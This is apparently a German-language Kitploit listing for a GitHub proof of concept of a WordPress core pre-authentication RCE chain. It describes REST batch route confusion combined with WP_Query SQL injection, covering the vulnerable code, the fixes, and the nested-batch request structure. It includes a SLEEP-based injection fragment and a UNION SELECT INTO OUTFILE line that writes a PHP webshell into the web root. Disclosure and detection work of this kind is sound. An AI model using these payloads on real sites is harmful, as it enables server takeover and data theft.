Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wordpress-cve-2026-63030 — Pre-Auth-RCE in WordPress Core über REST-API-Batch-Routen-Konfusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Erkennungs-PoC. | Kitploit
Tools/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

Pre-Auth-RCE in WordPress Core über REST-API-Batch-Routen-Konfusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Erkennungs-PoC.

Repository anzeigen
428vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

WordPress REST API Batch-Routen-Konfusion + SQL-Injection → RCE

Pre-Authentifizierung, nicht authentifiziert, keine Plugins erforderlich. Funktioniert gegen eine Standard-WordPress-Installation über den Batch-Endpunkt der REST-API.

CVECVE-2026-63030 (Routen-Konfusion → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
EntdeckerAdam Kues — Assetnote / Searchlight Cyber (genannt "wp2shell")
BetroffenWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (vollständige RCE-Kette) · 6.8.0 – 6.8.5 (nur SQLi)
Gepatcht6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSKritisch (RCE-Kette) / Mittel (SQLi alleinstehend)
Blog des Forschershttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Überblick

Zwei Fehler im WordPress-Kern, die sich zu nicht authentifizierter Remote-Code-Ausführung verketten lassen:

  1. SQL-Injection in WP_Query, wenn author__not_in ein String und kein Array ist — die is_array()-Validierungsprüfung wird übersprungen und der rohe Wert wird in eine NOT IN (...)-Klausel interpoliert.
  2. Batch-Routen-Konfusion in WP_REST_Server::serve_batch_request_v1() — WP_Error-Unteranfragen werden in $validation[] geschoben, aber nicht in $matches[], was eine +1 Indexverschiebung verursacht. Unteranfrage i wird mit dem Handler von Unteranfrage i+1 ausgeführt.

Keiner der Fehler allein ist ausreichend: Die REST-API bereinigt author_exclude (type: array, items: integer), bevor es WP_Query erreicht, und der Batch-Endpunkt lehnt GET-Unteranfragen ab (enum: POST, PUT, PATCH, DELETE). Durch Verkettung über eine Doppelkonfusion werden beide Abwehrmechanismen umgangen und die SQLi wird nicht authentifiziert erreicht.

2. Grundursachen

2.1 SQL-Injection — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Verwundbar (6.9.4):

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Wenn author__not_in ein String ist, wird der is_array()-Zweig übersprungen; (array) "payload" ergibt ["payload"]; implode(',', ...) gibt den rohen String zurück, der direkt in das SQL interpoliert wird.

Fix (6.9.5): Verwenden Sie wp_parse_id_list(), das jede Eingabeform akzeptiert und eine bereinigte Integer-Liste zurückgibt.

2.2 Batch-Routen-Konfusion — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Eine einzelne WP_Error-Unteranfrage (z.B. fehlerhafter Pfad) an Position 0 verschiebt jeden nachfolgenden Eintrag um eins. Anfrage i wird dann mit dem Handler von Anfrage i+1 dispatchen.

Fix (6.9.5): Fügen Sie auch für den Fehlerfall $matches[] = $single_request; hinzu. Zusätzliche Härtung short-circuits rest_api_loaded() / serve_request(), während ein Dispatch bereits läuft.

3. Die Doppelkonfusionskette

┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

Der resultierende SQL-Fragment ist:

AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) wird einmal pro passender Beitragszeile ausgelöst, so dass die Gesamtverzögerung etwa N × <number_of_published_posts> Sekunden beträgt.

Von SQLi zu RCE ("wp2shell")

Die SELECT-only-Injection (keine gestapelten Abfragen, $wpdb verwendet mysqli_query) führt dennoch zu RCE auf typischen LAMP-Stacks, wenn der MySQL-Benutzer das FILE-Privileg hat — was auf vielen Shared Hostern und selbstverwalteten Servern die Standardeinstellung ist:

1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

schreibt eine PHP-Webshell in das Web-Root, erreichbar unter /x.php.

Alternative Wege (kein FILE-Privileg erforderlich) umfassen das Auslesen des Admin-Passwort-Hashes via UNION/boolean blind SQLi und das Hochladen eines schädlichen Plugins über die authentifizierte Admin-Oberfläche.

4. Erkennung / PoC

usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

Der PoC führt zwei nicht-destruktive Tests durch:

TestMethodeSicher?
Routen-Konfusion (CVE-2026-63030)Strukturell — überprüft, ob innere Anfrage[1] (Kategorien) mit dem Posts-Handler ausgeführt wird, indem der Antworttext auf Posts-only-Felder geprüft wirdJa
SQLi (CVE-2026-60137)Zeitbasierte Blind-Injection — injiziert SLEEP(N) über author_exclude und misst die Latenz im Vergleich zu einer harmlosen BaselineJa
Tool herunterladen